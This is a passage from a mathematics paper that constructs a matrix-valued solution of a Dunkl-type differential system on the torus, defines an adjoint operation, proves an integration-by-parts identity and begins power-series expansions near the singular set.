L(x) , \qquad 1\leq i\leq N.
\end{gather*}
By direct verif\/ication
\begin{gather*}
\det L(x) =c\prod\limits_{1\leq i<j\leq N}\left( -\frac{(x_{i}-x_{j}) ^{2}}{x_{i}x_{j}}\right) ^{\kappa\lambda/2},\qquad \lambda:=\frac{\gamma n_{\tau}}{2(N-1) }=\operatorname{tr}(\tau(( 1,2))) ,
\end{gather*}
is a local solution for any $c\in\mathbb{C}_{\times}$, if $x_{k}=e^{\mathrm{i}\theta_{k}}$, $1\leq k\leq N$ then $-\frac{( x_{i}-x_{j})^{2}}{x_{i}x_{j}}=4\sin^{2}\frac{\theta_{i}-\theta_{j}}{2}$ (with the principal branch of the power function, positive on positive reals).
This implies $\det L(x) \neq0$ for $x\in\mathbb{C}_{\rm reg}^{N}$ (and of course $\det L(x) $ is homogeneous of degree zero).
\begin{Proposition} \label{L(xw)}If $L(x) $ is a solution of \eqref{Lsys} in some connected open subset $U$ of $\mathbb{C}_{\rm reg}^{N}$ then $L(xw)\tau(w) ^{-1}$ is a solution in $Uw^{-1}$.
\end{Proposition}
\begin{proof} First let $w=(j,k) $ for some f\/ixed $j$, $k$. If $i\neq j,k$ then replace $x$ by $x(j,k) $ in $\partial_{i}L$ to obtain%
\begin{gather*}
\partial_{i}L(x(j,k)) \tau(( j,k)) =\kappa L(x(j,k)) \left\{ \sum_{\ell\neq
i,j,k}\frac{\tau((i,\ell)) }{x_{i}-x_{\ell}}+\frac{\tau((i,j)) }{x_{i}-x_{k}}+\frac
{\tau((i,k)) }{x_{i}-x_{j}}-\frac{\gamma}{x_{i}}I\right\} \tau(j,k) \\
\hphantom{\partial_{i}L(x(j,k)) \tau(( j,k))}{} =\kappa L(x(j,k)) \tau(j,k)
\left\{ \sum_{\ell\neq i,j,k}\frac{\tau ( (i,\ell)) }{x_{i}-x_{\ell}}+\frac{\tau((i,k))
}{x_{i}-x_{k}}+\frac{\tau((i,j)) }{x_{i}-x_{j}}-\frac{\gamma}{x_{i}}I\right\} ,
\end{gather*}
because $(i,j) (j,k) =(j,k) (i,k) $. Next let $w=(i,j) $, then $\partial_{i}[L(x(i,j))] =(\partial_{j}L)(x(i,j)) $ and
\begin{gather*}
\partial_{i}[ L(x(i,j)) \tau((i,j))] =\kappa L( x(i,j)) \left\{ \sum_{\ell\neq i,j}\frac{\tau ( (j,\ell)) }{x_{i}-x_{\ell}}+\frac{\tau((i,j))
}{x_{i}-x_{j}}-\frac{\gamma}{x_{i}}I\right\} \tau( (i,j)) \\
\hphantom{\partial_{i}[ L(x(i,j)) \tau((i,j))]}{} =\kappa L(x(i,j)) \tau( (i,j)) \left\{ \sum_{\ell\neq i,j}\frac{\tau((i,\ell)) }{x_{i}-x_{\ell}}+\frac{\tau((i,j)) }{x_{i}-x_{j}}-\frac{\gamma}{x_{i}}I\right\} ,
\end{gather*}
by use of $(j,\ell) (i,j) =(i,j)(i,\ell) $. Arguing by induction suppose $L(xw) \tau(w) ^{-1}$ is a solution then so is $L( x(j,k) w) \tau(w) ^{-1}\tau((j,k)) =L( x(j,k) w) \tau((j,k) w) ^{-1}$, for any$(j,k) $, that is, the statement holds for $w^{\prime}=(j,k) w$.
\end{proof}
Let $w_{0}:= ( 1,2,3,\ldots, N ) = ( 12 )(23)\cdots(N-1,N) $ denote the $N$-cycle and let $\langle w_{0}\rangle $ denote the cyclic group generated by~$w_{0}$. There are two components of $\mathbb{T}_{\rm reg}^{N}$ which are set-wise invariant under $\langle w_{0}\rangle $ namely $\mathcal{C}_{0}$
and the reverse $\{ \theta_{N}<\theta_{N-1}<\cdots<\theta_{1}<\theta _{N}+2\pi\} $. Indeed $\langle w_{0}\rangle $ is the stabilizer of $\mathcal{C}_{0}$ as a subgroup of $\mathcal{S}_{N}$.
Henceforth we use $L(x) $ to denote the solution of (\ref{Lsys}) in $\mathcal{C}_{0}$ which satisf\/ies $L(x_{0}) =I$.
\begin{Proposition} Suppose $x\in\mathcal{C}_{0}$ and $m\in\mathbb{Z}$ then $L( xw_{0}^{m}) =\tau(w_{0}) ^{-m}L(x) \tau(w_{0}) ^{m}$.
\end{Proposition}
\begin{proof}Consider the solution $L(xw_{0}) \tau(w_{0}) ^{-1}$ which agrees with $\Xi L(x) $ for all $x\in \mathcal{C}_{0}$ for some f\/ixed matrix $\Xi$. In particular for $x=x_{0}$ where $x_{0}w_{0}=\big( \omega,\ldots,\omega^{N-1},1\big) =\omega x_{0}$ (recall $(xw) _{i}=x_{w(i) }$) we obtain $\Xi L(x_{0}) =L ( x_{0}w_{0} ) \tau(w_{0})
^{-1}=L(\omega x_{0}) \tau(w_{0}) ^{-1}=L(x_{0}) \tau(w_{0}) ^{-1}$; because $L(x) $ is homogeneous of degree zero. Thus $\Xi=\tau(w_{0}) ^{-1}$. Repeated use of the relation shows $L( xw_{0}^{m}) =\tau(w_{0}) ^{-m}L(x) \tau(w_{0}) ^{m}$.
\end{proof}
Because of its frequent use denote $\upsilon:=\tau(w_{0}) $ (the letter $\upsilon$ occurs in the Greek word \textit{cycle}).
\begin{Definition}
For $w\in\mathcal{S}_{N}$ set $\nu(w) :=\upsilon^{1-w(1) }$. For any $x\in\mathbb{T}_{\rm reg}^{N}$ there is a unique $w_{x}$ such that $w_{x}(1) =1$ and $xw_{x}^{-1}\in\mathcal{C}_{0}$. Set $M(w,x) :=\nu(w_{x}w) $.
\end{Definition}
As a consequence $\nu ( w_{0}^{m}w ) =\upsilon^{-m}\nu(w) $ for any $w\in\mathcal{S}_{N}$ and $m\in\mathbb{Z}$; since
$w_{0}^{m}w(1) -1=(w(1) +m-1) \operatorname{mod}N$. Also $M(I,x) =I$. There is a 1-1 correspondence $w\mapsto\mathcal{C}_{0}w$ between $ \{ w\in \mathcal{S}_{N}\colon w(1) =1 \} $ and the connected components
of $\mathbb{T}_{\rm reg}^{N}$.
\begin{Proposition}
For any $w_{1},w_{2}\in\mathcal{S}_{N}$ and $x\in\mathbb{T}_{\rm reg}^{N}$%
\begin{gather*}
M( w_{1}w_{2},x) =M( w_{2},xw_{1}) M (w_{1},x) .
\end{gather*}
\end{Proposition}
\begin{proof}
By def\/inition $M(w_{1}w_{2},x) =\nu(w_{x}w_{1}w_{2}) $ and $M(w_{1},x) =\nu(w_{x}w_{1})
=\upsilon^{-m}$ where $w_{x}w_{1}(1) =m+1$. Let $w_{3}=w_{xw_{1}}$, that is, $w_{3}(1) =1$ and $xw_{1}w_{3}^{-1}\in\mathcal{C}_{0}$. From $\big( xw_{x}^{-1}\big) \big( w_{x}w_{1}w_{3}^{-1}\big)$ $\in\mathcal{C}_{0}$ it follows that $w_{x}w_{1}w_{3}^{-1}\in\langle w_{0}\rangle $, in particular $w_{x}w_{1}w_{3}^{-1}=w_{0}^{m}$ because $w_{x}w_{1}w_{3}^{-1}(1) =w_{x}w_{1}(1) =m+1=w_{0}^{m}(1) $. Thus $M(w_{2},xw_{1}) =\nu( w_{3}w_{2}) =\nu\big( w_{0}^{-m}w_{x}w_{1}w_{2}\big) =\upsilon^{m}\nu(w_{x}w_{1}w_{2})$, and $\upsilon^{m}=M(w_{1},x) ^{-1}$. This completes the proof.
\end{proof}
\begin{Corollary}
Suppose $w\in\mathcal{S}_{N}$ and $x\in\mathbb{T}_{\rm reg}^{N}$ then $M\big(w^{-1},xw\big) =M(w,x) ^{-1}$.
\end{Corollary}
\begin{proof}
Indeed $M\left( w^{-1},xw\right) M(w,x) =M\big(ww^{-1},x\big) =I$.
\end{proof}
We can now extend~$L(x) $ to all of $\mathbb{T}_{\rm reg}^{N}$ from its values on $\mathcal{C}_{0}$.
\begin{Definition}\label{DefL(x)T}For $x\in\mathbb{T}_{\rm reg}^{N}$ let%
\begin{gather*}
L(x) :=L\big( xw_{x}^{-1}\big) \tau(w_{x}) .
\end{gather*}
\end{Definition}
\begin{Proposition}\label{L(xw)M}For any $x\in\mathbb{T}_{\rm reg}^{N}$ and $w\in\mathcal{S}_{N}$
\begin{gather*}
L(xw) =M(w,x) L(x) \tau (w) .
\end{gather*}
\end{Proposition}
\begin{proof}
Let $w_{1}=w_{xw}$, that is, $w_{1}(1) =1$ and $xww_{1}^{-1}\in\mathcal{C}_{0}$, then by def\/inition $L(xw) =L\big(xww_{1}^{-1}\big) \tau(w_{1}) $ and $L\big( xw_{x}^{-1}\big) =L(x) \tau(w_{x}) ^{-1}$. Let $m=w_{x}w(1) -1$. Since $w_{x}ww_{1}^{-1}$ f\/ixes $\mathcal{C}_{0}$ and $w_{x}ww_{1}^{-1}(1) =w_{x}w(1) =m+1$ it follows that $w_{x}ww_{1}^{-1}=w_{0}^{m}$. Thus $w_{1}=w_{0}^{-m}w_{x}w$,
\begin{gather*}
L\big( xww_{1}^{-1}\big) \tau(w_{1}) =L\big(xw_{x}^{-1}w_{0}^{m}\big) \tau\big( w_{0}^{-m}w_{x}w\big)
=\upsilon^{-m}L\big( xw_{x}^{-1}\big) \upsilon^{m}\tau\big( w_{0}^{-m}w_{x}w\big) \\
\hphantom{L\big( xww_{1}^{-1}\big) \tau(w_{1})}{} =\upsilon^{-m}L\big( xw_{x}^{-1}\big) \tau(w_{x}w) =\upsilon^{-m}L(x) \tau(w)
\end{gather*}
and $M(w,x) =\nu(w_{x}w) =\upsilon^{-m}$.
\end{proof}
\subsection[The adjoint operation on Laurent polynomials and $L(x)$]{The adjoint operation on Laurent polynomials and $\boldsymbol{L(x)}$}
The purpose is to def\/ine an operation which agrees with taking complex conjugates of functions and Hermitian adjoints of matrix functions when restricted to $\mathbb{T}^{N}$, and which preserves analyticity. The parameter $\kappa$ is treated as real in this context even where it may be complex (to preserve analyticity in $\kappa$). For $x\in\mathbb{C}_{\times}^{N}$ def\/ine $\phi x:=\big( x_{1}^{-1},x_{2}^{-1},\ldots,x_{N}^{-1}\big) $, then
$\phi(xw) =(\phi x) w$ for all $w\in \mathcal{S}_{N}$.
\begin{Definition}\label{defadj}\quad
\begin{enumerate}\itemsep=0pt
\item[(1)] If $f(x) =\sum\limits_{\alpha\in\mathbb{Z}^{N}}c_{\alpha}x^{\alpha}$ is a Laurent polynomial then $f^{\ast}(x) :=\sum\limits_{\alpha\in\mathbb{Z}^{N}}\overline{c_{\alpha}}x^{-\alpha}$.
\item[(2)] If $f(x) =\sum\limits_{\alpha\in \mathbb{Z}^{N}}A_{\alpha}x^{\alpha}$ is a Laurent polynomial with matrix coef\/f\/icients then $f^{\ast}(x) :=\sum\limits_{\alpha \in\mathbb{Z}^{N}}A_{\alpha}^{\ast}x^{-\alpha}$.
\item[(3)] if $F(x) $ is a matrix-valued function analytic in an open subset $U$ of $\mathbb{C}_{\times}^{N}$ then $F^{\ast}(x) :=\overline{( F(\overline{\phi x})) }^{T}\!$ and $F^{\ast}$ is analytic on $\phi U$, that is, if $F(x)\! =\![ F_{ij}(x) ]_{i,j=1}^{N}$ then $F^{\ast}(x)\! =\! [ \overline{F_{ji}( \overline{\phi x}) }] _{i,j=1}^{N}\!$ (for example if $F_{12}(x) =c_{1}\kappa x_{1}x_{3}^{-1}+c_{2}x_{2}^{2}x_{3}^{-1}x_{4}^{-1}$ then $F_{21}^{\ast}(x) =\overline{c_{1}}\kappa x_{1}^{-1}x_{3}+\overline{c_{2}}x_{2}^{-2}x_{3}x_{4}$).
\end{enumerate}
\end{Definition}
Loosely speaking $F^{\ast}(x) $ is obtained by replacing $x$ by $\phi x$, conjugating the complex constants and transposing. The fundamental chamber $\mathcal{C}_{0}$ is mapped by $\phi$ onto $\big\{ \big( e^{\mathrm{i}\theta_{j}}\big) _{j=1}^{N}\colon \theta_{1}>\theta_{2}>\cdots$ $>\theta_{N}>\theta_{1}-2\pi\big\} $, again set-wise invariant under~$w_{0}$. Using $\frac{\mathrm{d}}{\mathrm{d}t}\big\{ f\big( \frac{1}{t}\big) \big\}
=-\frac{1}{t^{2}}\big( \frac{d}{dt}f\big) \big( \frac{1}{t}\big)$ we obtain the system
\begin{gather*}
\partial_{i}L(\phi x) =\kappa L(\phi x) \left\{\sum_{j\neq i}\frac{x_{j}}{x_{i}}\frac{\tau ( (i,j)) }{x_{i}-x_{j}}+\frac{\gamma}{x_{i}}\right\} , \qquad 1\leq i\leq N.
\end{gather*}
Transposing this system leads to (note $\tau(w) ^{T}=\tau (w) ^{\ast}=\tau\big( w^{-1}\big) $)
\begin{gather*}
\partial_{i}L(\phi x) ^{T}=\kappa\left\{ \sum_{j\neq i}\frac{x_{j}}{x_{i}}\frac{\tau((i,j)) }
{x_{i}-x_{j}}+\frac{\gamma}{x_{i}}\right\} L(\phi x)^{T}, \qquad 1\leq i\leq N.
\end{gather*}
Now use part (3) of Def\/inition \ref{defadj} and set up the system whose solution of
\begin{gather}
\partial_{i}L^{\ast}(x) =\kappa\left\{ \sum_{j\neq i}\frac{x_{j}}{x_{i}}\frac{\tau((i,j)) }{x_{i}-x_{j}}+\frac{\gamma}{x_{i}}\right\} L^{\ast}(x) , \qquad 1\leq
i\leq N.\label{L*sys}
\end{gather}
satisfying $L^{\ast}(x_{0}) =I$ is denoted by $L^{\ast}(x)$. The constants in the system are all real so replacing complex constants by their complex conjugates preserves solutions of the system. The ef\/fect is that $L(x) ^{\ast}$ agrees with the Hermitian adjoint of $L(x) $ for $x\in\mathcal{C}_{0}$ (for real $\kappa$). The goal here is to establish conditions on a constant Hermitian matrix $H$ so that $K(x) :=L^{\ast}(x) HL(x) $ has desirable properties, such as $K(xw) =\tau(w)^{-1}K(x) \tau(w) $ and $K(x) \geq0$ (i.e., positive def\/inite).
Similarly to the above $\tau((i,j)) L^{\ast}(x(i,j)) $ is also a solution of (\ref{L*sys}), implying that $\tau(w) L^{\ast}(xw) $ is a~solution for any $w\in\mathcal{S}_{N}$, the inductive step is
\begin{gather*}
\tau((i,j)) \tau(w) L( x(i,j) w) ^{\ast}=\tau((i,j)w) L(x(i,j)w) ^{\ast}.
\end{gather*} Also $L^{\ast}(x_{0}w_{0}) =L^{\ast}\big( \omega^{-1}x_{0}\big) =L^{\ast} (x_{0}) =I$ (thus there is a matrix $\widetilde{\Xi}$ such that
$\tau(w_{0}) L^{\ast}(xw_{0}) =L^{\ast} ( \phi x) \widetilde{\Xi}$ for all $x\in\mathcal{C}_{0}$, and $\widetilde{\Xi}=\tau(w_{0}) =\upsilon$. In analogy to~$L$ for $x\in\mathbb{T}_{\rm reg}^{N}$ and the same $w_{x}$ as above let $L ( \phi x_{0}) ^{T}=I$, $L(\phi x) ^{T}:=\tau ( w_{x}) ^{-1}L\big( \phi xw_{x}^{-1} \big) ^{T}$ (since $\phi xw_{x}^{-1}\in\phi\mathcal{C}_{0})$. Then $L(\phi xw) ^{T}=\tau(w) ^{-1}L(\phi x) ^{T}M(w,x)^{-1}$.
For any nonsingular constant matrix $C$ the function $CL(x) $ also satisf\/ies (\ref{Lsys}) and the function $K(x) :=L^{\ast}(x) C^{\ast}CL(x) $ satisf\/ies the system
\begin{gather}
x_{i}\partial_{i}K(x) =\kappa\sum_{j\neq i}\left\{ \frac{x_{j}}{x_{i}-x_{j}}\tau((i,j)) K(x) +K(x) \tau((i,j)) \frac{x_{i}
}{x_{i}-x_{j}}\right\} , \qquad 1\leq i\leq N.\label{Kdieq}
\end{gather}
This formulation can be slightly generalized by replacing $C^{\ast}C$ by a~Hermitian matrix~$H$ (not necessarily positive-def\/inite) without changing the equation.
For the purpose of realizing the form (\ref{admforms}) we want $K$ to satisfy $K(xw) =\tau(w) ^{-1}K(x)\tau(w) $, that is,
\begin{gather*}
K(xw) =\tau(w) ^{-1}L^{\ast}(x)M(w,x) ^{-1}HM(w,x) L(x) \tau(w) \\
\hphantom{K(xw)}{} =\tau(w) ^{-1}L^{\ast}(x) \upsilon^{m}H\upsilon^{-m}L(x) \tau(w)
\end{gather*}
(from Proposition \ref{L(xw)M}), where $m=w_{x}w(1) -1$. The condition is equivalent to
\begin{gather*}
\upsilon H=H\upsilon,
\end{gather*}
which is now added to the hypotheses, summarized here:
\begin{Condition}\label{hypoLH}
$L(x) $ is the solution of \eqref{Lsys} such that $L(x_{0}) =I$ and $L(x) =L\big( xw_{x}^{-1}\big) \tau(w_{x}) $ for $x\in\mathbb{T}_{\rm reg}^{N}$ where $w_{x}(1) =1$ and $xw_{x}^{-1}\in\mathcal{C}_{0}$; $L^{\ast}(x) $ is the solution of~\eqref{L*sys} satisfying $L^{\ast}(x_{0}) =I$, $K(x) =L^{\ast }(x) HL(x) $ is a solution of~\eqref{Kdieq} and~$H$ satisfies $H^{\ast}=H$, $\upsilon H=H\upsilon$.
\end{Condition}
\section{Integration by parts}\label{byparts}
In this section we establish the relation between the dif\/ferential system and the abstract relation $\langle x_{i}\mathcal{D}_{i}f,g\rangle
=\langle f,x_{i}\mathcal{D}_{i}g \rangle $ holding for $1\leq i\leq N$ and $f,g\in C^{1}\big( \mathbb{T}^{N};V_{\tau}\big) $. We demonstrate how close $L$ is to providing the desired inner product, by performing an integration-by-parts over an $\mathcal{S}_{N}$-invariant closed set $\subset\mathbb{T}_{\rm reg}^{N}$. Here $L(x) $ and $H$ satisfy the hypotheses listed in Condition~\ref{hypoLH} above. We use the identity $x_{i}\partial_{i}f^{\ast}(x) =-( x_{i}\partial_{i}f) ^{\ast}(x) $. For $\delta>0$ let
\begin{gather*}
\Omega_{\delta}:=\Big\{ x\in\mathbb{T}^{N}\colon \min\limits_{1\leq i<j\leq N}\vert x_{i}-x_{j}\vert \geq\delta\Big\} .
\end{gather*}
This set is invariant under $\mathcal{S}_{N}$ and $K(x) $ is bounded and smooth on it. Thus the following integrals exist.
\begin{Proposition}\label{xdfKg-fKxdg}Suppose $H$ satisfies Condition~{\rm \ref{hypoLH}} then for $f,g\in C^{1}\big( \mathbb{T}^{N};V_{\tau}\big) $ and $1\leq i\leq N$
\begin{gather*}
\int_{\Omega_{\delta}}\big\{ {-}( x_{i}\mathcal{D}_{i}f(x)) ^{\ast}K(x) g(x) +f(x) ^{\ast}K(x) x_{i}\mathcal{D}_{i}g(x)\big\} \mathrm{d}m(x) \\
\qquad {} =\int_{\Omega_{\delta}}x_{i}\partial_{i}\{ f(x) ^{\ast}K(x) g(x)\} \mathrm{d}m(x).
\end{gather*}
\end{Proposition}
\begin{proof}
By def\/inition
\begin{gather*}
x_{i}\mathcal{D}_{i}g(x) =x_{i}\partial_{i}g(x) +\kappa\sum_{j\neq i}\frac{x_{i}}{x_{i}-x_{j}}\tau((i,j))( g(x) -g( x(i,j))), \\
( x_{i}\mathcal{D}_{i}f(x) ) ^{\ast}
=-x_{i}\partial_{i}f(x) ^{\ast}+\kappa\sum_{j\neq i}\frac{x_{j}}{x_{j}-x_{i}}( f(x) ^{\ast}-f( x(i,j)) ^{\ast}) \tau((i,j)) .
\end{gather*}
Thus
\begin{gather}
-( x_{i}\mathcal{D}_{i}f(x) ) ^{\ast}K(x) g(x) +f(x) ^{\ast}K(x)x_{i}\mathcal{D}_{i}g(x) \nonumber\\
\qquad{} =x_{i}\partial_{i}f(x) ^{\ast}+x_{i}\partial_{i}g(x) \nonumber\\
\qquad\quad{} +\kappa f(x) ^{\ast}\sum_{j\neq i}\left\{ \frac{x_{j}}{x_{i}-x_{j}}\tau((i,j)) K(x)+K(x) \tau((i,j)) \frac{x_{i}}{x_{i}-x_{j}}\right\} g(x) \nonumber\\
\qquad\quad{} -\kappa\sum_{j\neq i}\frac{1}{x_{i}-x_{j}}\big\{ x_{j}f( x(i,j)) ^{\ast}\tau((i,j)) K(x) g(x) +x_{i}f(x) ^{\ast}K(x) \tau((i,j)) g( x(i,j))\big\} \nonumber\\
\qquad{} =x_{i}\partial_{i}\{ f(x) ^{\ast}K(x)g(x) \} \label{dfKg}\\
\qquad\quad{} -\kappa\sum_{j\neq i}\frac{1}{x_{i}-x_{j}}\big\{ x_{j}f ( x (i,j )) ^{\ast}\tau((i,j)) K(x) g(x) +x_{i}f(x) ^{\ast}K(x) \tau((i,j)) g( x(i,j))\big\}.\nonumber
\end{gather}
For each pair $\{i,j\} $ the term inside $\{\cdot\} $ is invariant under $x\mapsto x(i,j)$, because $K(x(i,j)) =\tau( (i,j)) K(x) \tau((i,j)) $, and
$x_{i}-x_{j}$ changes sign under this transformation. Thus
\begin{gather*}
\int_{\Omega_{\delta}}\frac{x_{j}f(x(i,j)) ^{\ast}\tau((i,j)) K(x) g(x) +x_{i}f(x) ^{\ast}K(x) \tau((i,j)) g(x(i,j)) }{x_{i}-x_{j}}\mathrm{d}m(x) =0
\end{gather*}
for each $j\neq i$ because $\Omega_{\delta}$ and $\mathrm{d}m$ are invariant under $(i,j)$.
\end{proof}
Observe the value of $\kappa$ is not involved in the proof. Since $x_{j}\partial_{j}=-\mathrm{i}\frac{\partial}{\partial\theta_{j}}$ when $x_{j}=e^{\mathrm{i}\theta_{j}}$ and $\mathrm{d}m(x) = (2\pi) ^{-N}\mathrm{d}\theta_{1}\cdots\mathrm{d}\theta_{N}$ one step of integration can be directly evaluated. Consider the case $i=N$ and for a f\/ixed $(N-1) $-tuple $( \theta_{1},\ldots,\theta_{N-1}) $ with $\theta_{1}<\theta_{2}<\cdots <\theta_{N-1}<\theta_{1}+2\pi$ such that $\big\vert e^{\mathrm{i}\theta_{j}}-e^{\mathrm{i}\theta_{i}}\big\vert \geq\delta$ the integral over $\theta_{N}$ is over a union of closed intervals. These are the complement of $\bigcup\limits_{1\leq j\leq N-1} \{ \theta\colon \theta_{j}-\delta^{\prime}<\theta<\theta_{j}
+\delta^{\prime}\} $ in the circle, where $\sin\frac{\delta^{\prime}}{2}=\frac{\delta}{2}$. This results in an alternating sum of values of $f^{\ast}Kg$ at the end-points of the closed intervals. Analyzing the resulting integral (over $( \theta_{1},\ldots,\theta_{N-1}) $ with respect to $\mathrm{d}\theta_{1} \cdots \mathrm{d}\theta_{N-1}$) is one of the key steps in showing that a given $K$ provides the desired inner product. In other parts of this paper we f\/ind that $H$ must satisfy another commuting relation.
\section{Local power series near the singular set}\label{locps}
In this section assume $\kappa\notin\mathbb{Z+}\frac{1}{2}$. We consider the
system (\ref{Lsys}) in a neighborhood of the face $ \{ x\colon x_{N-1}=x_{N} \} $ of $\mathcal{C}_{0}$. We use a coordinate system which treats the singularity in a simple way. For a more concise notation def\/ine
\begin{gather*}
x(u,z) =( x_{1},x_{2},\ldots,x_{N-2},u-z,u+z)\in\mathbb{C}_{\times}^{N}%
\end{gather*}
We consider the system in terms of the variable $x(u,z) $ subject to the conditions that the points $x_{1},x_{2},\ldots,x_{N-2},u$ are pairwise distinct and $\vert z\vert <\min\limits_{1\leq j\leq N-2}\vert x_{j}-u \vert $, also $\vert z\vert <\vert u\vert$, $\operatorname{Im}\frac{z}{u}>0$ (these conditions imply
$\arg(u-z) <\arg(u+z) $). This allows power series
expansions in $z$.
For $z_{1},z_{2}\in\mathbb{C}_{\times}$ let
\begin{gather*}
\rho(z_{1},z_{2}) :=\left[
\begin{matrix}
z_{1}I_{m_{\tau}} & O\\
O & z_{2}I_{n_{\tau}-m_{\tau}} \end{matrix}
\right] .
\end{gather*}
Let $\sigma:=\tau((N-1,N)) =\rho( -1,1) $. We analyze the local solution $L( x(u-z,u+z)) $ with an initial condition specif\/ied later. We obtain the dif\/ferential system (using $\partial_{z}:=\frac{\partial}{\partial z}$, $\partial_{u}:=\frac{\partial}{\partial u}$)
\begin{gather*}
\partial_{z}L(x) =\partial_{N}L-\partial_{N-1}L\\
\hphantom{\partial_{z}L(x)}{} =\kappa L\left\{ \sum_{j=1}^{N-2}\left( \frac{\tau((j,N)) }{u-x_{j}+z}-\frac{\tau( (j,N-1)) }{u-x_{j}-z}\right) +\frac{\tau(N-1,N) }{z}-\frac{\gamma}{u+z}I+\frac{\gamma}{u-z}I\right\} ,
\\
\partial_{u}L(x) =\partial_{N}L+\partial_{N-1}L\\
\hphantom{\partial_{u}L(x)}{} =\kappa L\left\{ \sum_{j=1}^{N-2}\left( \frac{\tau((j,N)) }{u-x_{j}+z}+\frac{\tau( (j,N-1)) }{u-x_{j}-z}\right) -\frac{\gamma}{u+z}I-\frac{\gamma}{u-z}I\right\} ,
\\
\partial_{j}L(x) =\kappa L(x) \left\{\sum_{i=1,i\neq j}^{N-2}\frac{\tau((i,j)) }{x_{j}-x_{i}}-\frac{\gamma}{x_{j}}I+\frac{\tau( (j,N-1)) }{x_{j}-u+z}+\frac{\tau( ( j,N)) }{x_{j}-u-z}\right\} , \\
\hphantom{\partial_{j}L(x) =}{} 1\leq j\leq N-2.
\end{gather*}
Using the expansion $\frac{1}{t-z}=\sum\limits_{n=0}^{\infty}\frac{z^{n}}{t^{n+1}}$ for $\vert z\vert <\vert t\vert $ we let
\begin{gather*}
\beta_{n}(x(u,0)) :=\sum_{j=1}^{N-2}\frac {\tau((j,N)) }{(u-x_{j}) ^{n+1}}
\end{gather*}
for $n=0,1,2,\ldots$and express the equations as (since $\sigma\tau (( j,N)) \sigma=\tau((j,N-1))$)
\begin{gather*}
\partial_{z}L(x) =\kappa L(x) \left\{
\sum_{n=0}^{\infty}\big\{ (-1) ^{n}\beta_{n}( x(u,0)) -\sigma\beta_{n}(x(u,0)) \sigma\big\} z^{n}+\frac{\sigma}{z}-\frac{\gamma}{u+z}I+\frac{\gamma}{u-z}I\right\}, \\
\partial_{u}L(x) =\kappa L(x) \left\{\sum_{n=0}^{\infty}\big\{ (-1) ^{n}\beta_{n}( x(u,0)) +\sigma\beta_{n}(x(u,0))\sigma\big\} z^{n}-\frac{\gamma}{u+z}I-\frac{\gamma}{u-z}I\right\} ,\\
\partial_{j}L(x) =\kappa L(x) \left\{\sum_{i=1,i\neq j}^{N-2}\frac{\tau((i,j)) }{x_{j}-x_{i}}-\frac{\gamma}{x_{j}}I-\sum_{n=0}^{\infty}\frac{\tau(
(j,N-1)) +(-1) ^{n}\tau((j,N)) }{(u-x_{j}) ^{n+1}}z^{n}\right\} ,\\
\hphantom{\partial_{j}L(x) =}{} 1\leq j\leq N-2.
\end{gather*}
Set
\begin{gather*}
B_{n}(x(u,0)) =(-1) ^{n}\beta _{n}(x(u,0)) -\sigma\beta_{n}( x(u,0)) \sigma, \qquad n=0,1,2,\ldots.
\end{gather*}
Note $\sigma B_{n}x(u,0) \sigma=(-1) ^{n+1}B_{n}(x(u,0)) $. Suggested by the relation
\begin{gather*}
\frac{\partial}{\partial z}\rho \big( z^{-\kappa},z^{\kappa}\big)=\frac{\kappa}{z}\rho\big({}-z^{-\kappa},z^{\kappa}\big)=\frac{\kappa }{z}\rho\big(z^{-\kappa},z^{\kappa}\big) \sigma
\end{gather*} we look for a solution of the form
\begin{gather}
L(x) =\left( \big( u^{2}-z^{2}\big) \prod_{j=1}^{N-2}x_{j}\right) ^{-\gamma\kappa}\rho\big( z^{-\kappa},z^{\kappa}\big)
\sum_{n=0}^{\infty}\alpha_{n}(x(u,0))z^{n},\label{Lzseries}
\end{gather}
where each $a_{n}(x(u,0)) $ is matrix-valued and analytic in $x(u,0) $, and the initial condition is $\alpha _{0}\big( x^{(0) }\big) =I$, where $x^{(0) }$
is a base point, chosen as $\big( 1,\omega,\omega^{2},\ldots,\omega^{N-3},\omega^{-3/2},\omega^{-3/2}\big) $ (that is, $u=\omega^{-3/2}$, $z=0$),
where $\omega:=e^{2\pi\mathrm{i}/N}$. Implicitly restrict $(x_{1},\ldots,x_{N-1},u) $ to a simply connected open subset of $\mathbb{C}_{\rm reg}^{N-1}$ containing $\big( 1,\omega,\omega^{2},\ldots,\omega^{N-3},\omega^{-3/2}\big)$. Substitute~(\ref{Lzseries}) in the~$\partial_{z}$ equation (suppressing the $x(u,0) $ argument in the $\alpha_{n}$'s)
\begin{gather*}
\partial_{z}L =\kappa\gamma\left( \frac{1}{u+z}-\frac{1}{u-z}\right)\left( \big( u^{2}-z^{2}\big) \prod_{j=1}^{N-2}x_{j}\right)
^{-\gamma\kappa}\rho\big( z^{-\kappa},z^{\kappa}\big) \sum_{n=0}^{\infty}\alpha_{n}z^{n}\\
\hphantom{\partial_{z}L =}{} +\left( \big( u^{2}-z^{2}\big) \prod_{j=1}^{N-2}x_{j}\right)^{-\gamma\kappa}\frac{\kappa}{z}\rho\big( z^{-\kappa},z^{\kappa}\big) \sigma\sum_{n=0}^{\infty}\alpha_{n}z^{n}\\
\hphantom{\partial_{z}L =}{} +\left( \big( u^{2}-z^{2}\big) \prod_{j=1}^{N-2}x_{j}\right)^{-\gamma\kappa}\rho\big( z^{-\kappa},z^{\kappa}\big) \sum_{n=1}^{\infty}n\alpha_{n}z^{n-1}\\
\hphantom{\partial_{z}L}{}
=\kappa\left( \big( u^{2}-z^{2}\big) \prod_{j=1}^{N-2}x_{j}\right) ^{-\gamma\kappa}\rho\big( z^{-\kappa},z^{\kappa}\big) \\
\hphantom{\partial_{z}L =}{}
\times\sum_{n=0}^{\infty}\alpha_{n}z^{n}\left\{ \sum_{m=0}^{\infty}B_{m}(u) z^{m}+\frac{\sigma}{z}-\gamma\left( \frac{1}{u+z}-\frac{1}{u-z}\right) \right\} ,
\end{gather*}
which simplif\/ies to
\begin{gather}
\frac{\kappa}{z}\sum_{n=0}^{\infty}( \sigma\alpha_{n}-\alpha_{n}\sigma ) z^{n}+\sum_{n=1}^{\infty}n\alpha_{n}z^{n-1}=\kappa\sum
_{n=0}^{\infty}\alpha_{n}z^{n}\sum_{m=0}^{\infty}B_{m} ( x (u,0 ) ) z^{m}.\label{eqnDz}
\end{gather}
The equations for $\partial_{u}$ and $\partial_{j}$ simplify to
\begin{gather*}
\left( \big( u^{2}-z^{2}\big) \prod_{j=1}^{N-2}x_{j}\right) ^{-\gamma\kappa}\left\{ \sum_{n=0}^{\infty}\partial_{u}\alpha_{n}z^{n}
